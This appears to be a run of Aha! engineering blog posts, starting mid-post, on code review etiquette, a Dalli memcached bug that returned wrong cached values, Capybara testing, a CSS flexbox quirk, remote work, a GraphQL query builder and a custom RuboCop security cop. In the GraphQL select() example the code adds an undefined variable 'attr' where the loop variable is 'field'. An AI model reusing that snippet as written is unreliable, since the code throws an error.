PIZZA-2022 [pizza-app]: upgrade toppings to level Infinity and Beyond (PIZZA-2022 is the format of our Aha! feature reference numbers.)

Other pieces of information you might want to consider updating with:

Include important keywords to help with searching
Use a consistent convention such as feature ID prefixes
Name the "what" or "why" instead of the "how"

Tools for responding to pull requests

Am I coming at this from the right mental frame? It is easy to fall into the emotional trap of over-identifying with your work — causing you to beat yourself up as a failure over each change request. Or maybe you're setting your expectations to a place where change requests will make you feel resentful that you didn't receive approval instead of grateful someone is trying to make your work better.

Consider that someone else is spending their life and attention understanding your work and helping you move it forward. Often, these are extremely experienced and skilled peers. Think about a time before, when you were newer, when your sole desire was to learn and improve. What would you have done to get this kind of generous feedback? What would you have given? Then think about now. What's actually different? Nothing.

We're all human. Sometimes there's deadlines or other kinds of pressure. If you find yourself emotionally reactive, don't type anything. Step away. Take a moment and figure out why you're feeling the way you are. Chances are you're being too harsh on yourself. Be kinder to yourself, or reach out for support.

The goal is consistently shipping quality work with your team.

Could this be phrased as a question or observation?

This is a technique I picked up at Aha! which I then realized was pervasively used by effective open source contributors. Once I became cognizant of this technique, I now see it everywhere.

When you're not sure you have full context, or want to soften your feedback, phrase it as a question. A question might be:

Could we inline these styles instead of modifying our webpack config for just this one place?

Where an observation would be:

I noticed in my testing that in <some conditions> I'm still seeing <cookie that shouldn't be there>.

Phrasing your feedback in terms of questions or observations is humble and generous. It leaves space for what you might not know and keeps the focus on the work you're doing with your teammates. Not on who was doing it.

More examples:

Is the property relevant at all? Not sure what that distinguishes.

Can this be private, maybe others too?

The reason why questions are so effective is they create a conversational loop where you can make progress with someone else. This keeps momentum up and the focus on the work you're doing together. Addressing the question, implementing feedback, clarifying context, etc.

Such change suggestions can still be submitted with a go-for-launch approval if the code is still going to be improved in the near future. The author can choose whether to address it now, or potentially later.

Does my feedback block approval?

If you have feedback that requires change and you're certain it's necessary, use an active voice and explain your reasoning. This could be a simple bug, a small refactor, or a large need. Either way, if you have feedback that will block code approval, make this clear.

This is a moment when you can be especially generous and raise the skill level of your team. Here is an example of some particularly good feedback:

It's better to test the call one more layer down the stack instead of the private method, as the private method can be refactored now without potentially breaking the dependency on the Tracker layer below.

That tracker_stubbed config is defined here and just DRYs up the boilerplate.

This feedback explains "why" and "what," then provides guidance on "how." I tend to reserve this for situations where I have absolute certainty, the existing implementation is otherwise functional, and I can't easily phrase it as a question.

Is this a nit?

A nit is a small, non-blocking and potentially opinionated change suggestion. I find it is best to call these out directly as a nit:

nit: this method seems awfully similar to SomeClass#this_other_method. Could we use that instead?

nit: why not !private? instead of listing every other option?

Using language which directly implies this is a nit and maybe we want to do it (at the author's discretion):

Maybe a better way to access this: <code example> I think this will also give you the titleized version, removing the need to call toUpperCase below.

Or it is a personal preference:

I prefer to do <thing you're doing> like this: <code example> Because then you get x, y, and z.

Does my review include something I like?

It's easy to end up only commenting on things to be critical of. Take time to acknowledge the parts that are good, too.

When you see something you like, say it. If you don't know what to say but you like it, use ✨.

I really like how <thing is working>

Thanks for the well-reasoned approach here

Those capybara specs 💯

Nice. Bonus points for meme style.

Choose tools to support your purpose

Remember, the goal is a durable, refined practice you can lean on to write a pull request that meets spec in the shortest amount of time.

Questions are resilient and adaptable to context. Advice is brittle. The best tools to keep in your upstream are questions.

Here is the cheat sheet

Aha! is happy, healthy, and hiring. Join us!

This blog post only exists because of efforts of other engineers on the team. I stopped multiple times in the middle of reading a pull request with the recognition 'this is so well done.' These moments prompted me to dig in further to understand what specific techniques were causing this reaction in me. If you want to build lovable software with this talented and growing team, apply to an open role.

Solving a critical bug in the default Rails caching library

Andrew Jones — Mon, 08 May 2023 00:00:00 GMT

An odd coincidence

On March 20th, ChatGPT users reported seeing conversations that were not their own. Just a few weeks earlier I had solved a bug where the default Rails caching library (Dalli) would return incorrect values. I thought, "this ChatGPT incident sounds a lot like what could happen with that caching bug via returning incorrect cached HTML." But OpenAI doesn't use Rails so I shrugged the thought off as recency bias.

My jaw dropped when I saw the postmortem — it was exactly the same bug concept, just in a different library! A reminder that hard things often transcend particular languages and libraries. And boy, is this a hard bug. It sits at the intersection of caching, shared resource management, and state corruption — infamously tricky problem spaces.

The bug mechanism

The Dalli caching client connects to a memcached server with a socket (which is essentially just a buffer, I'll use the terms interchangeably). The client issues a get message to the server which says "give me the value for this key". In response, the server writes some data into the socket buffer. The client then reads bytes off of the socket until it has processed one complete response, making the assumption that what it's reading is the response to its own get message. If the socket was empty at the beginning of the operation, that assumption works and the client returns the correct cache value.

But what if the buffer was not empty when the client issued the get command? Then the client processes the data that was on the socket as if it were the requested value, and — since no extra validation steps occur — returns the wrong value for the given key. Worse, because it would only read one value's worth of data out of the buffer (it knows when to stop reading based on a metadata header), the actual response to its request would remain on the socket for the next request to return incorrectly, and so on.

The socket has thus entered an indefinite "off by one" corrupt state. Meaning the nth get operation will return the value for the n-1th operation's key, leaving its own value in the buffer for the n+1th to read. Oh no! That corrupted state in a different library explains ChatGPT's incident.

If your cache system starts returning the wrong values that's very scary from a security perspective, because data or HTML cached for one user might be shown to another user. In the case I saw firsthand this didn't happen because the incorrect cache values all type mismatched, causing the process to error repeatedly until it was killed. That was lucky, but a Rails app conceivably could see the exact kind of incident OpenAI saw. It would just depend on what type of data was on the corrupted socket and how the application uses the cache.

How it happens

Why would there be an unread value in the buffer? All that's required is for the client to send a get command to the server and then fail to actually read the response — while also leaving the socket around for a future request to use.

One way this might happen in Dalli is if there's an issue in get_multi code. This could occur if the client requests multiple values, reads some subset of those values off of the socket, and then returns before the server finishes writing all of the values to the socket. Another way this might happen is if something - say, an error or a timeout - interrupts the client code execution between issuing a get message and reading the response.

Ideally the client would discard/reset the socket in case of an error or timeout, and in most scenarios that's exactly what would happen. But all it takes is one code path where the socket can get corrupted and stick around. Unfortunately, there is at least one such a code path, explaining the incorrect caching behavior I observed.

The specifics are less important than the question of whether the client should rely completely on the assumption that the socket will be empty when it begins a get operation.

The fix

As a security engineer I love when I can solve a bug deep in an abstraction, making it impossible for a developer using the abstraction to cause the bug again — even if they make a mistake. We should encourage developers to avoid known dangers, sure, but it's best for an abstraction itself to prevent unacceptable outcomes automatically. Or, within the abstraction, we should try to manage our state correctly, but it's best if we can preclude the worst impacts even if there's a flaw and some unexpected state emerges. It is far more robust to make a failure case impossible at the root instead of relying on all the higher level code doing the right thing every time.

To that end, I pursued a simple foundational fix. Memcached has a getk command, which differs from get by returning the key alongside the value. The downside is a small performance cost — returning the key means processing more bytes. The upside is that the client gets both the key and the value back from memcached, and can check that the key matches what it asked for.

That's the core of my implementation - if the keys don't match, raise an error. Simple. Now even if the buffer contains a leftover value for a different key, the client won't return it. Instead it will reset and retry.

Analyzing the fix

What of the cost vs benefit? In the context of a multi-tenant Rails application, it is generally not an acceptable risk to potentially expose one tenant's data to another, even in a low probability event. A small increase in overhead to completely rule out a data exposure bug is a small price to pay.

In this case, the overhead is really small. When I rolled out this implementation in an application serving millions of requests a day, there was zero measurable impact on performance. Even if the overhead was noticeable, it would still be worthwhile to pay the cost for most threat models.

It is conceivable that an application using the caching client might make a different cost/benefit calculation and decide that performance is paramount and key:value integrity failures are acceptable. That's why one approach I proposed was making it a configuration option in the upstream PR. Unfortunately the maintainer did not agree that the client should solve this problem at all, despite multiple other reports of it happening in production systems.

The maintainer had some valid points — application layer timeouts in Ruby are dangerous, and if you're using them, extreme caution is warranted. Consider killing the process entirely after a timeout to prevent state corruption bugs like this one.

Nonetheless, I firmly believe that given the severity of this issue it is worthwhile for the client itself to prevent the worst impact from happening. I am also not convinced that timeouts are the only way for this bug to happen. See the get_multi issue or consider the possibility of a future code change introducing a connection handling bug.

Alternatives

Another way to solve the problem would be to keep the socket locked until the response is read. That way, a socket with an unread response would not be re-used by a subsequent operation. I'm not sure why Dalli doesn't already work this way, but currently it releases the lock after issuing the get command and re-acquires it before reading the response. I opened a second PR proposing to keep the lock on the socket for the entire get sequence, which was also rejected.

The safe_get implementation still has an advantage in that it works regardless of whether the socket is properly handled or even if memcached sends extraneous responses. That approach is publicly available and production tested. Please let me know if you have any questions or feedback about it!

Migrating from Cypress to Capybara — a reluctant tale

Jeremy Wells — Thu, 27 Apr 2023 00:00:00 GMT

Many months ago, our team had to have a hard conversation about Cypress. Cypress was the new kid in our CI pipeline, a browser integration testing framework. We had thought it would replace Capybara, our older way of driving a browser manically around our website. Capybara was slow, we thought. It had bad developer feedback, we thought. The tests needed to be written in Ruby and wouldn't it be far more comfortable writing them in JavaScript, we thought?

Cypress was having problems. Sometimes the tests passed, sometimes the tests failed. What we did in between those times had little effect. Cypress was flaky.

Now, we had already had flakiness problems with Capybara. A large portion of our engineering team (1 dev) had put in a significant amount of effort (a week sipping slightly stronger coffee and retiring early every day complaining of a faint headache) to solve the flakiness problems. We had it down to a tee. And so we entered into the Cypress world with confidence that the problem would be the same. We must have merely been writing our tests in the wrong way. "It's not you, Cypress — it's us!" we exclaimed.

It was Cypress

Unfortunately Cypress was intractable. It appeared we were not the only troubled fools. When your test framework needs a flaky test manager, your own efforts look pitiful by comparison. After one engineer ejected their laptop from a third-story window when Cypress couldn't be persuaded (nicely or harshly with sticks) to wait for a checkbox to be enabled before clicking on it, the team decided: we would move back to Capybara.

I shed tears and wailed, for Capybara was slow. It took so long to re-run each time and progress through the test was a mystery. I preferred writing the tests in JavaScript — it felt more natural when driving a browser. However, the team had made a decision for good reason, even if this was not my preference.

Making a decision and taking action are quite different steps though. We had tests written in both Cypress and Capybara. Converting the Cypress ones into Capybara wasn't that easy:

Capybara had a worse developer experience than Cypress. This put a drag on both writing new tests and converting the existing ones.
We had used a Cypress plugin to do image comparisons for charts.

So we did what any good team does and wrote a list of tests to convert and then did nothing for several months. This also added some drag to our development work — do you update the existing Cypress test or do the larger job of converting it to Capybara?

Image comparison functionality

Things came to a head while I was working on the burndown charts for Aha! Develop. The image comparison we had in Cypress was a bit finicky to work with and the Capybara libraries that added image comparison had limitations. I wanted something better:

Multiple image storage so we could have a comparison that passed for developers and on CI where the rendering might be slightly different.
Image diffs so we could see where the image had changed.
Customizable fuzziness. Sometimes anti-aliasing around chart lines and text has imperceptible differences that we'd like to ignore.
Masking - If I take the image and make part of it transparent that area should be ignored.

Using the compare tool in ImageMagick, I was able to write a Capybara add-on that achieved all of the above and more

Contributions from others on our team added deferred checking, so that the image comparison errors wouldn't interrupt the whole test but would instead be output at the end, and tasks for downloading all the images from our CI server to make development faster.

It was an arduous task to convert all the image comparison tests from Cypress to Capybara. However, this process gave me hope that not only could we do this, but we could also make the whole experience even better than Cypress.

Capybara developer experience

Cypress has a nice developer experience. The UI shows the test steps. When the test file is updated, the test is restarted automatically and you can see the progress as it runs the test. This gives you a nice simple feedback loop.

When Capybara starts up, it needs to initialize the whole Rails application, start the web application, and start the browser. This means that, even with tools like Guard, the develop test loop is slow. The browser context is lost after each test run.

Our Capybara tests are written in RSpec. One of our team leads, Percy Hanna, created a test runner that wraps the RSpec runner so that, at the end of the test, it halts waiting for input and reloads the test file. We then added file watching, which allowed it to reload automatically when the test file or JS files changed.

What about reloading when the Ruby files changed? That turned out to be a harder problem. A running RSpec test did not seem to enjoy the Rails autoloader trying to change things.

The solution I came up with is to store information about the current browser session in the environment and then use Kernel.exec to relaunch the test.

On test start, it captures the existing browser session. From a developer perspective, this is a little slower than test loop when the test files changes. But it keeps your browser session open with the DevTools open if you were using them.

Making Capybara better than Cypress

When using Cypress, I kept the test running while I developed. I really valued being able to see the progress through the test file, with each step listed out. Hovering over the steps even shows a snapshot of the browser at that step. This was good but didn't always work because it was loading the html at the time back into the browser.

Ruby has an API called TracePoint. This lets you hook into the running Ruby code and call blocks when certain things happen, like a line being run or a method being called.

Using TracePoint, I was able to create a custom output that showed the line number and the line being run:

This looks great in the terminal and it's very helpful for understanding where the test is currently up to. If Cypress showed this information in the browser, could we do that with Capybara?

Of course we can. The information can be poked into the browser by executing a bit of JavaScript before and after each step. This also gives us a stepping stone to further improvements, such as:

Showing the line currently running and progressing through the whole test
Displaying the failure in the browser
Taking a screenshot at each step
Capturing the Rails controller traces whenever the browser makes a request

And miss Cypress I do not. With some time and some love, our Capybara test suite has far exceeded Cypress.

The syntax and methods are better for a team of Rails engineers. The querying and wait time execution in Capybara leads to flake-free tests. The lower-level nature of Capybara lends itself to understanding and extending to match the workflow.

Now the development process I often use is:

Create a Capybara scenario.
Start the runner to watch the code and launch a browser on my second monitor.
Edit the code and test scenario as I work, pushing the test further along towards the end goal.
Use Byebug in the test code to drive the browser.

Do you use Cypress, Capybara or some other browser testing tool? What are your experiences testing it and customizing it to match your team's workflow?

Aha! is happy, healthy, and hiring. Join us!

CSS is hard no matter how good you are at it

Jonathan Steel — Thu, 23 Mar 2023 00:00:00 GMT

Let us start by saying that CSS is hard. It seems that no matter how skilled you get, you will still run into situations that completely baffle you. Sometimes you can hack around the situation, but other times you really need to figure it out. When you need to dig in, having a helpful team and bringing things down to first principles are the order of the day.

I ran into this situation when refreshing pivot reports at Aha! to include aesthetically pleasing user avatar pills instead of plain text.

This is what we started with:

And this is what we wanted to build:

We had just updated the product value score to use pills in a similar manner, so I figured this change would go smoothly. This was my initial result:

As you can see, the user pill does not vertically align with the rest of the content on the row. Vertical alignment can be annoying — I get it. I figured this was just some rogue styling getting in the way of what should have otherwise been a simple alignment. I banged my head against this for quite a while before admitting I had no idea what was going on. Normally after that level of frustration, I would have just added margin-top: 1px to the new user avatar pill and called it a day. This component was being built for use in our design system, so it had to work in all situations. A hacky margin fix would cause issues in other situations.

I work with a team that has accumulated a lot of CSS experience. Generally I don't think there is anything they cannot handle. So I jumped on a couple calls to work through the issue. They were just as confused as I was. The page in question had a lot of moving parts. We have a lot of stylesheets, a design system, an old design system, and a rather deep DOM structure — all affecting this one location. We needed to step out of this complex environment.

The best way forward was to create a sandbox and start paring this problem down to the simplest use case possible. We were quickly able to get it working with various different methods, but none of those were compatible with the exact use case in the application. Whenever we reproduced the most basic example of how we were going to use it, we had the issue.

What really baffled me was that the Aha! product value score pills worked fine and they were basically the same thing. So I recreated the product value score situation and it worked.

The major difference between the two is that the product value score uses an icon while the avatar pill uses an image. I replaced the "icon" span and replaced it with an img tag. The problem occurred.

I knew I was close at that point. So then I pared the HTML down to just this:

<span class="pill"> Pill 1 </span>

<span class="pill">
  <span class="wrapper">
    <span></span>
    <span>Pill 2</span>
  </span>
</span>

After some more fiddling, I determined that an empty first child of a flex container will cause that flex container to vertically misalign with its other flex container siblings. In my user avatar pill case, the first child is an image that technically has no content. The person I was pairing with had the idea to add a zero width space with a CSS rule, something that would be simple and unobtrusive:

.wrapper::before {
  content: '\200B';
}

That fixed the problem!

I tested this on all major browsers and they all had the same issue. Needless to say, I was pretty confused by this outcome. I could have pored over the w3 documentation to try and figure out why this was occurring, but it was not worth the extra effort given the problem had a simple solution that worked well.

I think this story is a good example of how CSS can be hard, and no matter how experienced your team is, you will still run into really difficult situations. You should be able to solve your problem if you approach it in a methodically structured way using the following tools:

Set a time box to ensure you do not waste too much time fighting the problem at any step in your problem-solving. When you hit the time box, switch approaches.
Grab a partner. Sometimes a more experienced CSS developer can help you solve the problem. Sometimes all you need is a fresh set of eyes. Often pulling in one partner will help you get past one hurdle, and then you have to pull in another to get even further.
Create a sandbox example. Build up the most basic use case you can. Then iterate on it until you have the final solution that you can slot into your actual use case.

Other developers at Aha! have run into this same situation elsewhere in our app. We have a simple solution that works, but still do not fully understand why browsers would choose this behavior. If you know the reason or have a different solution, we would love to hear from you. Apply for a position and tell us all about it.

Fully remote companies are better than hybrid

Jonathan Steel — Thu, 26 Jan 2023 00:00:00 GMT

I have worked in many different environments throughout my career. I have worked in the same building as my teammates and even for a company that had us all in the same room. I have also worked in hybrid environments with a mix of in office and remote employees. In the hybrid case, I was always onsite. I had never been on the other side, where I was remote and there were other people physically together. And in my five years working for Aha!, I have always been grateful to work for a fully remote company.

I knew I did not want to work in an office anymore and only truly discovered while working at Aha! how great a remote team can be.

Fully distributed

Frequent communication and collaboration are invaluable to every group at a company. As an engineering team lead, I know this doesn't come as naturally to some as it does to others. Engineering team members can be especially susceptible to losing contact with the rest of the team and company when they are in a hybrid situation.

When some people are in person and others are remote it is harder for everyone to succeed equally. Some teams may see the creative work, decision-making, and architecture being discussed without the remote engineer that will do the actual work. Those decisions are encoded in the form of features, tickets, or tasks that flow down to the engineer. If there is any confusion in the work assignments, it may be perceived as a communication error on the part of the remote engineer.

When everyone is remote, there are no communication barriers. We are all accustomed to jumping on a video call or sending a quick instant message.

Onsites

Twice a year, our entire company gets together in person for a week at a destination travel location that we call our company onsite. Everyone has an amazing time discussing the product roadmap, meeting with teammates, volunteering through our Aha! Cares program, and enjoying great meals together.

In June 2022, Aha! was able to host an in-person onsite for the first time in over two years. Due to everyone's different circumstances, not everyone was able to attend, including me. We have a truly exceptional team that coordinates these events to include everyone as much as possible — whether onsite or offsite. But I was worried what that might look like.

So what was it like? At Aha!, we go above and beyond with everything we do and this event was no exception. Everyone tried their hardest to make sure we felt included. We even had our own events that were just as memorable as those at the previous offsite.

But hybrid work events are just not the same. Sometimes it was hard to hear side conversations and the random comments thrown out in the audience that caused a ripple of laughter.

The positive takeaway from the experience was that it crystallized in my mind the idea that I never want to work for a hybrid company. I don't think hybrid environments can ever work without leaving some team members feeling left out.

This onsite (when I was offsite) had me feeling left out in a way that I didn't when we were all in person or all remote.

Some aspects of hybrid environments may improve over time. Technology, tools, and processes can always get better. As hybrid environments become more common, people may also become increasingly familiar and comfortable working with remote and colocated team members at the same time. Even with all those improvements, there is no way to include a remote employee in the random dinner a team might share together.

I am lucky that Aha! will always make a great effort to include each and every team member. And I now know for certain that hybrid will never be as good as fully remote or fully in-person. My teammates at Aha! are all so passionate and motivated to bring their best to work every day — 100% remote is what works for us. I am more excited than ever to work for a fully remote company and I am especially excited for our next company onsite.

Aha! is happy, healthy, and hiring. Join us!

We are challenged to do great work and have fun doing it. If you want to build lovable software with this talented and growing team, apply to an open role.

Building a composable query generator for GraphQL

Justin Weiss — Thu, 12 Jan 2023 00:00:00 GMT

In a lot of newer projects, we use our GraphQL API. This is the same API you use when you're building Aha! Develop extensions. GraphQL has given us a more consistent, more flexible, and often more efficient way to access the data inside an Aha! account.

GraphQL queries are just strings:

const query = `{
  feature(id: "DEMO-29") {
    id
    name
  }
}`;

const response = await fetch("/api/v2/graphql", {
  "headers": {
    "Content-Type": "application/json",
  },
  "method": "POST",
  "body": JSON.stringify({ query }),
});

Strings are easy to start with and work well for simple, mostly static queries. But what about something more complex? What if you wanted the name of the person assigned to each feature but not when you're looking at a list of your own features? What if only some teams used sprints and you didn't want sprint information if a team didn't use them? How could you easily make wildly customizable views and only fetch the data you needed for that specific view?

Simple interpolation is one option:

const sprintQuery = sprintsEnabled ? `{
  sprint {
    id
    name
    startDate
    duration
  }
}` : "";

const query = `{
  features {
    id
    name
    ${ sprintQuery }
  }
}`;

But this can quickly get out of hand. You need to know in advance how a query can be modified so you can be sure to leave room for strings to be interpolated inside of them. Handling optional arguments can be a pain. So if strings aren't the right option for very dynamic queries, what is?

The next step beyond strings

There's a common solution to this problem: Store the information you need to make your final decisions in a more raw form that you can look at. Keep them in a structure — an introspectable form — until you're ready to generate a result.

What does that look like, though?

Say a part of your code wanted a few fields from a Feature API, "id", and "name". Some other code wants the reference number too. Instead of building a query as a string and interpolating fields into it, like this:

const query = `{
  features {
    id
    name
    ${ maybeReferenceNumber }
  }
}`;

You could keep a list of fields:

const fields = ["id", "name"];

Other parts of your system could add to it:

fields.push("referenceNumber");

And when you generate your query, the query has all of the information it needs right at hand:

const query = `{
  features {
    ${ fields.join("\n") }
  }
}`;

This seems like a minor change, and it is, but it's powerful. An object, which is easy to work with, keeps track of the decisions you've made up to this point. Your query generation is simple — it just does what the object tells it to do. Here, that's turning an array of names into fields in the query. This opens up a lot of possibilities but first we can clean it up.

How to store the query state

If you've ever used Rails, you'll know that it's great at building queries over time. You call methods to build up a query and only fire it off when you're done with it:

query = account.features
query = query.where(project_id: project.id) if project
query = query.where(release_id: release.id) if release
# ...

I've been surprised that more languages or frameworks haven't been influenced by this query building. To me, it's one of the best parts of Rails.

You can build something like this with GraphQL, though, keeping your decisions in an object and generating a query at the last minute. Imagine a Query class. We'll keep it simple to start, just holding a query type and a list of fields:

class Query {
  constructor(type) {
    this.type = type;
    this.fields = new Set();
  }
}

Next, you can implement a simple "select" method to select ID and name:

class Query {
  // ...
  select(fields) {
    fields.forEach(field => {
      this.fields.add(attr);
    });

    return this;
  }
}

let query = new Query("features");
query.select(["id", "name"]);

You can pass that query object around and other functions can add to that query object:

query.select(["referenceNumber"]);

Now, when you need it, the Query object can generate a query string. Just like the example above:

class Query {
  // ...
  toString() {
    return `{
      ${ this.type } {
        ${ Array.from(this.fields).join("\n") }
      }
    }`;
  }
}

Once you have this string, you can hand it to whichever GraphQL library you're using as if you wrote it yourself.

With that simple pattern, you can go further. You can add arguments to filter the results:

class Query {
  constructor(type) {
    // ...
    this.filters = {};
  }

  // ...
  where(filters = {}) {
    this.filters = { ...this.filters, ...filters };
    return this;
  }

  processFilters(filters) {
    // Very basic conversion, can be improved as necessary
    return Object.keys(filters)
      .map(k => `${k}: ${JSON.stringify(filters[k])}`)
      .join(', ');
  }

  toString() {
    let args = '';
    if (Object.keys(this.filters).length > 0) {
      args = `(filters: {${this.processFilters(this.filters)}})`;
    }

    return `{
      ${ this.type }${ args } {
        ${ Array.from(this.fields).join("\n") }
      }
    }`;
  }
}

let query = new Query("features");
query.select(["id", "name"]).where({ assigneeId: "12345" }).toString();

You can add subqueries to select information from child objects:

class Query {
  constructor(type) {
    // ...
    this.subqueries = [];
  }

  // ...
  merge(subquery) {
    this.subqueries.push(subquery);
    return this;
  }

  toString(options = {}) {
    const { asSubquery } = options;

    let args = '';
    if (Object.keys(this.filters).length > 0) {
      args = `(filters: {${this.processFilters(this.filters)}})`;
    }

    const subqueryString = `${this.type}${args} {
        ${Array.from(this.fields).join('\n')}
        ${this.subqueries.map(s => s.toString({ asSubquery: true })).join('\n')}
      }`;

    if (asSubquery) {
      return subqueryString;
    } else {
      return `{
        ${subqueryString}
      }`;
    }
  }}

And now you can build arbitrarily complicated queries based on whatever state you have:

let query = new Query('features');
query.select(['id', 'name']).where({ assigneeId: '12345' });

if (projectId) {
  query.where({ projectId });
}

if (includeRequirements) {
  let requirementsQuery = new Query('requirements');
  requirementsQuery.select(['id', 'name', 'position']);

  query.merge(requirementsQuery);
}

query.toString();

From now on, any time you want to change a query based on information you have someplace else, it's as easy as calling a method.

What's next?

This query generator is simple and is still missing a lot, but the core idea is easy to extend to fit your API:

You can add functionality for sorting, passing query arguments, pagination, etc.
You can have it generate GraphQL fragments and variables instead of a single string.
You can add another layer. For example, have your query framework generate Apollo documents instead of strings and you can get better editor integration and error messages.
You can create a mutation builder, tracking changes you make to your JavaScript objects and generating mutations based on those changes.

We've done all of those things, and found a lot of value in a flexible generator like this. Building a query generator ourselves also allowed us to integrate it more closely with other parts of our application framework. It's a nice simple base we could build off of easily.

And once you have this base — an introspectable object that can generate the strings you need — your code no longer needs to worry about the actual queries. It's just responsible for the decision-making and the generator does the rest.

Aha! is happy, healthy, and hiring. Join us!

We are challenged to do great work and have fun doing it. If you want to build lovable software with this talented and growing team, apply to an open role.

Using Capybara to test responsive code

William Lawrence — Thu, 10 Nov 2022 00:00:00 GMT

As more users opt for mobile browsing, responsive design becomes more important — even for applications that are primarily used on a desktop. Responsive design is a key consideration for Aha! Ideas because it's convenient to answer polls and submit ideas using mobile devices. Usually the application behavior between mobile and desktop are the same, just rearranged on the page. But what happens when application behavior is different between devices with different-sized screens? Automated tests are necessary to ensure these different screen behaviors perform as expected in their environments.

Engineering at Aha! focuses on using and improving the Capybara test framework. We have added many helpers and additional functionality to make working with Capybara easy. Testing at mobile widths is another chance to improve our testing tooling. Here is the incremental approach that we used to add mobile testing helpers.

First pass

Below, we have an example test.

context "mobile user" do
  scenario "user logs in on mobile" do
    # These labels are specific to mobile widths
    expect(page).to have_content("First name")
    expect(page).to have_content("Last name")
  end
end

This test will fail because we aren't resizing to mobile width, so our name labels won't appear. Let's fix that.

context "mobile user" do
  # resize to mobile width
  before { page.driver.browser.manage.window.resize_to(375, 764) }

  scenario "user logs in on mobile" do
    # These labels are specific to mobile widths
    expect(page).to have_content("First name")
    expect(page).to have_content("Last name")
  end
end

This is an acceptable first pass. Our page is indeed resized for mobile testing. However, it presents three problems:

It doesn't tell us why we are resizing. The test has that information but it would not be clear out of the test.
This code isn't particularly reusable because it requires some insight into how Capybara works.
The test window remains resized for all subsequent tests. This is a subtle problem that will lead to unexpected and intermittent test failures.

Using a helper

Let's see how we can fix those three problems. Below is a helper we can use to resize for mobile testing.

# in spec/support/capybara_helpers.rb
def with_mobile_width
  page.driver.browser.manage.window.resize_to(375, 764) # resize to mobile
  yield # run the test
  page.driver.browser.manage.window.resize_to(1920, 1080) # resize back to default
end

And then in our test:

context "mobile user" do
  scenario "user logs in on mobile" do
    with_mobile_width do
       # These labels are specific to mobile widths
       expect(page).to have_content("First name")
       expect(page).to have_content("Last name")
    end
  end
end

This solution works better. It can be reused, it tells us why we are resizing, and it won't interfere with other tests. But there is still room for improvement.

We are adding another layering of nesting to the test. If we continue to use it in other places, then we are going to have some deeply nested tests. There is another way we can get this functionality without using this helper.

Updating our configuration

I want to be able to drop a :mobile_width in our test declaration. This resolves our three problems and won't clutter the tests. Below is an update to our configuration.

# in spec/support/capybara.rb
rspec_config.before(:each) do |example|
  browser = Capybara.current_session.driver.browser

  # if we have :mobile in test, resize. Otherwise go to default.
  if example.metadata.key?(:mobile_width)
    browser.manage.window.resize_to(375, 764)
  else
    browser.manage.window.resize_to(1920, 1080)
  end
end

Here we are using the before(:each) hook. This does exactly what it says on the box. Before each test runs, hook into it and perform an action. In this case, we are checking to see if the test has a :mobile_width key. If it does, run at a mobile width. If it does not, run at the standard width. The test looks a lot cleaner.

context "mobile user", :mobile_width do
  scenario "user logs in on mobile" do
    # These labels are specific to mobile widths
    expect(page).to have_content("First name")
    expect(page).to have_content("Last name")
  end
end

All the tests in the mobile user context are now going to run at that width. We have addressed the original three issues. This is reusable, it explains what we are doing to the test, and the mobile width won't leak into other tests. We also don't need to add another layer of testing to our code like we did by adding the with_mobile_width helper, so the tests remain tidy and sustainable.

Aha! is happy, healthy, and hiring. Join us!

Writing and testing a custom RuboCop cop

Kyle d’Oliveira — Thu, 20 Oct 2022 00:00:00 GMT

Solving a problem is great — but keeping it from coming back is even better. As we resolve issues in our code base, we often consider how to keep that classification of issue out of the code base entirely. Sometimes we reach for RuboCop to help us police certain patterns. This also helps to document the originating issue and educates teammates on why these patterns are undesirable.

RuboCop is more than just a linter. It is highly extensible and allows you to write custom cops to enforce specific behavior. These cops can be used to create better code practices, prevent bad patterns from sneaking into a legacy code base, and provide training for other engineers. But it can be tricky to know how to create a new cop and if it will work long-term.

We can write unit tests to ensure the success of our custom cops, just as we would with any application code.

Let's explore this with an example to show how testing could be done.

Testing custom cops

With the Aha! engineering team, every model has an account_id attribute present and for security reasons, we never want this to be set via mass-assignment. To avoid this, we want to prevent certain attributes from being added to attr_accessible.

# bad
class Foo
  attr_accessible :name, :account_id
end
Foo.create(account_id: 1, name: "foo")

# good
class Foo
  attr_accessible :name
end
foo = Foo.new(name: "foo")
foo.account_id = 1
foo.save

We have a custom cop that analyzes the arguments to that method and will error if any protected attribute is present. The custom cop we have ends up looking something like this:

class RuboCop::Cop::ProtectedAttrAccessibleFields < RuboCop::Cop::Cop
  # We can define a list of attributes we want to protect
  PROTECTED_ATTRIBUTES = [
    :account_id,
  ].freeze

  # We can define an error message that is displayed when an offense is detected.
  # This can be helpful to communicate information back to other engineers
  ERROR_MESSAGE = <<~ERROR.freeze
    Only permit attributes that are safe to be completely user controlled. Typically any *_id field could be problematic.
    Instead perform direct assignment of the field after doing a scoped lookup. This is the safest way to handle user input.
    Some fields such as #{PROTECTED_ATTRIBUTES.inspect} should never be used as part of attr_accessible.
  ERROR

  # We want to examine method calls. Particularly those that are calling the attr_accessible method
  # and also have arguments we care about
  def on_send(node)
    if receiver_attr_accessible?(node) && protected_arguments?(node)
      # If we do detect an attr_accessible call with arguments we care about, we can record an offense
      add_offense(node, message: ERROR_MESSAGE)
    end
  end

  private

  def receiver_attr_accessible?(node)
    node.method_name == :attr_accessible
  end

  def protected_arguments?(node)
    node.arguments.any? do |argument|
      if argument.sym_type? || argument.str_type?
        PROTECTED_ATTRIBUTES.include?(argument.value.to_sym)
      end
    end
  end
end

This custom cop does the trick. Adding a test for it ensures that it won't break in the future when we update RuboCop or extend the functionality. In order to write a test, we need to understand how the custom cops are set up and run.

Instantiate a custom cop

RuboCop::Cop::Cop inherits from RuboCop::Cop::Base and that allows the instantiation without any arguments. So it turns out this isn't anything special — creating a new instance of our cop is really as simple as: RuboCop::Cop::ProtectedAttrAccessibleFields.new

If the cop requires some kind of configuration, it can be passed to the instance via a RuboCop::Config object. The RuboCop::Config takes two arguments. RuboCop can provide configuration via YML files. You can use the first argument of RuboCop::Config to pass this configuration with various values from the test. The second argument is the path of the loaded YML file, which can be ignored in the tests.

config = RuboCop::Config.new({ RuboCop::Cop::ProtectedAttrAccessibleFields.badge.to_s => {} }, "/")
cop = RuboCop::Cop::ProtectedAttrAccessibleFields.new(config)

Process, execute, examine

As it turns out, there is a method available, RuboCop::Cop::Base#parse , that accepts a string as input and will return something the cop can process.

This allows us to have something like:

source = <<~CODE
  attr_accessible :account_id
CODE
processed_source = cop.parse(source)

There is a class from within RuboCop, RuboCop::Cop::Commissioner , that is responsible for taking a list of cops and using those to investigate the processed source code. In order to run our cop, we can run this method.

commissioner = RuboCop::Cop::Commissioner.new([cop])
investigation_report = commissioner.investigate(processed_source)

